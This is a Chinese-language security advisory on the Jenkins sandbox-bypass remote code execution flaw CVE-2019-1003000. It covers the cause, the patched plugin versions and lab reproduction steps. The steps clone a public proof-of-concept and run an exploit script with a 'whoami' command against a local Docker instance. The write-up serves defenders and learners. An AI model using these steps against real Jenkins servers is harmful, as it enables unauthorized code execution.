安全预警
2019年1月8日,Jenkins官方发布了一则ScriptSecurity and Pipeline插件远程代码执行漏洞的安全公告,漏洞CVE编号为:CVE-2019-1003000,官方定级为高危。
2019年2月15日,网上公布了该漏洞的利用方式,该漏洞允许具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxedPipeline共享库内容的用户绕过沙盒保护并在Jenkins主服务器上执行任意代码。
事件分析
Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。Jenkins的目的是持续、自动地构建/测试软件项目以及监控软件开放流程,快速问题定位及处理,提示开放效率。
ScriptSecurity and Pipeline插件是Jenkins的一个安全插件,可以集成到Jenkins各种功能插件中。它主要支持两个相关系统:脚本批准和Groovy沙盒。
漏洞产生原因:其成因是jenkins开源项目里的src/main/java/org/jenkinsci/plugins/scriptsecurityndbox/groovy/GroovySandbox.java的文件允许“具有Overall/Read权限”或者“能够控制SCM中的Jenkinsfile,或者sandboxedPipeline共享库内容权限”的攻击者使用可绕过沙盒保护的脚本在Jenkins的master服务器执行任意代码
漏洞复现
1. 环境搭建:要求有docker
步骤:
gitclonehttps://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
cdcve-2019-1003000-jenkins-rce-poc
pipinstall -r requirements.txt
cdsample-vuln
./run.sh
2. 输入账号密码user1:user1
3.poc进行攻击pythonexploit.py --url http://localhost:8080 --job my-pipeline --usernameuser1 --password user1 --cmd "whoami"
4.复现完成
修复建议
Jenkins官方已经针对该漏洞发布了修复CVE-2019-1003000的安全更新:
DeclarativePlugin 更新至1.3.4.1版本
https://plugins.jenkins.io/pipeline-model-definition
GroovyPlugin 更新至2.61.1版本
https://plugins.jenkins.io/workflow-cps
ScriptSecurity Plugin 更新至1.50版本
https://plugins.jenkins.io/script-security
漏洞补丁更新地址
https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266
实践操作
Jenkins远程代码执行利用实践,点击 合天网安实验室,可免费操作体验,大家可以一起学习!